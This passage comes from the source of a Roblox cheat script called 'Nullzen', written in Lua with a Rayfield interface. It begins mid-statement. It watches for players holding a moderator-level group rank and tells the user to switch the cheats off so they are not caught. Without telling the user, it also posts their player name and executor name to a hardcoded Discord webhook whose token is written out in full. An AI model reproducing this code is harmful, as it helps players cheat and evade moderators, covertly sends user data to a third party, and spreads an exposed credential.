255), false) local Label = Credits:CreateLabel("Huge thanks to speakingheademoji (gamercoolerg) for helping", 4483362458, Color3.fromRGB(255, 255, 255), false) local function notifyModeratorJoined() Rayfield:Notify({ Title = "Moderator joined server", Content = "Turn off Everything immediately and play normally", Duration = 30, Image = 4483362458 }) end for _, plr in next, game.Players:GetPlayers() do if plr:GetRankInGroup(5479038) >= 248 then notifyModeratorJoined() notifyModeratorJoined() notifyModeratorJoined() end end game.Players.PlayerAdded:Connect(function(plr) if plr:GetRankInGroup(5479038) >= 248 then notifyModeratorJoined() notifyModeratorJoined() notifyModeratorJoined() end end) TurnOffEverythingToggle:Set(true) local player = game.Players.LocalPlayer local playerName = player.Name local message = { content = "Player: " .. playerName .. " Executor: " .. getexecutorname() } local data = { Url = "https://discord.com/api/webhooks/1315266830738395177/42tX7p5x99nJL2APWmFepgg-ibgYvY2cWm-8ABOcrxmPOTfbGWwbjy9ZFnrCG1jnAaIX", Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = game:GetService("HttpService"):JSONEncode(message) } local requestFunction = syn and syn.request or request or http_request local response = requestFunction(data)
Remember to employ a dummy account when injecting scripts. We cannot be held responsible for any potential harm caused to your Roblox account.
Description
This is The Source Code of Nullzen.